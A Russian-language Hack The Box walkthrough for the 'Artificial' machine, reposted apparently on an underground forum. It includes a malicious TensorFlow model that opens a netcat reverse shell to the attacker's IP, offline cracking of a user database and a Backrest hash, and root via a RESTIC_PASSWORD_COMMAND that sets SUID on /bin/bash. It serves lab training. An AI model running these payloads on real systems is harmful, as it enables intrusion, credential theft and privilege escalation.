• [ Регистрация ]Открытая и бесплатная
  • Tg admin@ALPHV_Admin (обязательно подтверждение в ЛС форума)

Статья Эксплуатируем баг в TensorFlow и атакуем Backrest

stihl

bot
Moderator
Регистрация
09.02.2012
Сообщения
1,409
Розыгрыши
0
Реакции
732
Deposit
0.228 BTC
stihl не предоставил(а) никакой дополнительной информации.
Сегодня я продемонстрирую эксплуатацию уязвимости в популярной библиотеке TensorFlow. Это позволит нам исполнять команды на сервере, чем мы и воспользуемся, чтобы получить учетные данные, а затем повысить привилегии через оболочку Backrest для restic backup.
Наша цель — получение прав суперпользователя на машине Artificial с учебной площадки Hack The Box. Уровень задания — легкий.

warning​


Разведка​


Сканирование портов​

Добавляем IP-адрес машины в /etc/hosts:

10.10.11.74 artificial.htb
И запускаем сканирование портов.

Справка: сканирование портов​

Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
Код:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '
' ',' | sed s/,$//)
nmap -p$ports -A $1

Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).
Результат работы скрипта
Сканер нашел два открытых порта:
  • 22 — служба OpenSSH 8.2p1;
  • 80 — веб‑сервер Nginx 1.18.0.
Единственная точка входа — сайт на 80-м порте.

Главная страница сайта

Точка входа​

На сайте можно зарегистрироваться — обязательно сделаем это, чтобы увеличить поверхность атаки. На главной странице авторизованного пользователя нас встретит форма загрузки файлов.

Форма загрузки файлов

Эта форма служит для загрузки модели ИИ. Чтобы создать необходимое окружение для сборки модели, нам предоставляют файл requirements, а также готовый Dockerfile.

Содержимое файла requirements.txt

Содержимое Dockerfile

В requirements.txt указана версия пакета tensorflow-cpu для Python. Первым делом стоит проверить, есть ли для этой версии библиотеки готовые эксплоиты. Обычно достаточно просто поискать в Google.

Поиск эксплоитов в Google

Вторая ссылка ведет на ресерч Для просмотра ссылки Войди или Зарегистрируйся, где как раз и описывается вариант выполнения произвольного кода при загрузке собственной модели.


Точка опоры​

Первым делом, как советует ресерч, подготовим код для создания модели. В функции expl через os.system будем запускать реверс‑шелл:

rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.83 4321 >/tmp/f
Вот код самого шелла:

Код:
import tensorflow as tf

def expl(x):
    import os
    os.system("rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.83 4321 >/tmp/f")
    return x

model = tf.keras.Sequential()
model.add(tf.keras.layers.Input(shape=(64,)))
model.add(tf.keras.layers.Lambda(expl))
model.compile()
model.save("expl.h5")

В каталоге с Dockerfile развернем необходимый образ с именем artificial-htb.

sudo docker build -t artificial-htb .
Создание образа Docker
Затем запустим контейнер Docker и подмонтируем текущий каталог как каталог /expl внутри контейнера. Запустим указанный выше код для создания файла модели.

docker run -it --rm -v "$PWD":/expl -w /expl artificial-htb
Создание файла модели
Теперь на своей машине запускаем листенер pwncat-cs:

pwncat-cs -lp 4321

Справка: реверс-шелл​

Обратный шелл — это подключение, которое активирует атакуемая машина, а мы принимаем и таким образом подключаемся к ней, чтобы выполнять команды от лица пользователя, который запустил шелл. Для приема соединения необходимо создать на локальной машине listener, то есть «слушатель».
И загружаем файл на сайт. Когда файл будет обработан, мы моментально получим сессию pwncat в контексте учетной записи app.

Загрузка файла на сервер
Сессия в контексте app

Продвижение​

Для изменения контекста работы нам нужно поискать учетные данные. Так как на хосте развернут сайт с регистрацией и аутентификацией, то первое наше действие — это поиск учетных данных пользователей. Высока вероятность, что эти учетки подойдут и для локальных пользователей тоже. В каталоге веб‑сайта находим файл users.db.

Содержимое каталога instance
Чтобы скачать файл с удаленного сервера с помощью pwncat-cs, сначала комбинацией Ctrl-D выходи в главное меню программы, затем используй команду download [file] для переноса файла и командой back возвращайся обратно в сессию командной оболочки.

Скачивание файла базы данных

Открываем файл базы данных в Для просмотра ссылки Войди или Зарегистрируйся и находим таблицу user, в которой есть пять пар учетных данных.

Содержимое базы данных

Отправляем хеши на поиск в базе Для просмотра ссылки Войди или Зарегистрируйся и из пяти хешей получаем два пароля.

Результат подбора паролей

Пользователь gael есть в системе, поэтому пробуем авторизоваться по SSH с его паролем и после получения сессии захватываем первый флаг.

Флаг пользователя

Локальное повышение привилегий​

Теперь нам необходимо собрать информацию. Я буду использовать для этого скрипты PEASS.

Справка: скрипты PEASS​

Что делать после того, как мы получили доступ в систему от имени пользователя? Вариантов дальнейшей эксплуатации и повышения привилегий может быть очень много, как в Linux, так и в Windows. Чтобы собрать информацию и наметить цели, можно использовать Для просмотра ссылки Войди или Зарегистрируйся (PEASS) — набор скриптов, которые проверяют систему на автомате и выдают подробный отчет о потенциально интересных файлах, процессах и настройках.
Загрузим на удаленный хост скрипт для Linux, дадим право на выполнение и запустим сканирование. В выводе будет много всего, поищем важные для нас вещи.

Для локального хоста прослушивается порт 9898.

Прослушиваемые порты
На сервере есть файл базы данных с бэкапом /var/backups/backrest_backup.tar.gz.

Найденные файлы базы данных
Посмотрим на архив с резервной копией. Для этого скопируем его в каталог /tmp и извлечем все файлы.

Код:
cp /var/backups/backrest_backup.tar.gz /tmp/
cd /tmp
tar xf backrest_backup.tar.gz
cd backrest/

Содержимое архива

Backrest — это решение для резервного копирования, созданное на основе restic. Backrest предоставляет веб‑интерфейс, который является оболочкой для restic CLI и упрощает создание репозиториев, просмотр снимков и восстановление файлов. В файле конфигураций Backrest хранится логин администратора и закодированный хеш пароля.

Содержимое файла config.json
Декодируем из Base64 и отправляем хеш на перебор в hashcat.

Декодирование хеша
hashcat -m 3200 hash rockyou.txt
Результат подбора пароля

Теперь у нас есть учетные данные для Backrest, но, чтобы получить доступ к системе, нужно будет прокинуть порт 9898 на свой хост с помощью SSH.

ssh [EMAIL]gael@artificial.htb[/EMAIL] -L 9898:127.0.0.1:9898
Теперь весь трафик, который мы пошлем на локальный порт 9898, будет туннелирован на порт 9898 указанного хоста (в данном случае 127.0.0.1) через SSH-хост. Можем обратиться к сервису через браузер.

Главная страница сайта

Авторизуемся и попробуем создать новый репозиторий restic. При создании мы можем установить значение переменных окружения, например RESTIC_PASSWORD_COMMAND — для выполнения команды bash -c 'chmod u+s /bin/bash'.

Параметры репозитория

После этого запустим тестирование конфига, что приведет к выполнению нашей команды от имени пользователя root.

Тестовый запуск

В выполненной команде мы назначили S-бит файлу командной оболочки.

Проверка атрибутов файла

Справка: бит SUID​

Когда у файла установлен атрибут setuid (S-атрибут), обычный пользователь, запускающий этот файл, получает повышение прав до пользователя — владельца файла в рамках запущенного процесса. После получения повышенных прав приложение может выполнять задачи, которые недоступны обычному пользователю. Из‑за возможности состояния гонки многие операционные системы игнорируют S-атрибут, установленный shell-скриптам.
Это позволяет нам получить сессию от имени root.

Флаг рута

Машина захвачена!
 
Activity
So far there's no one here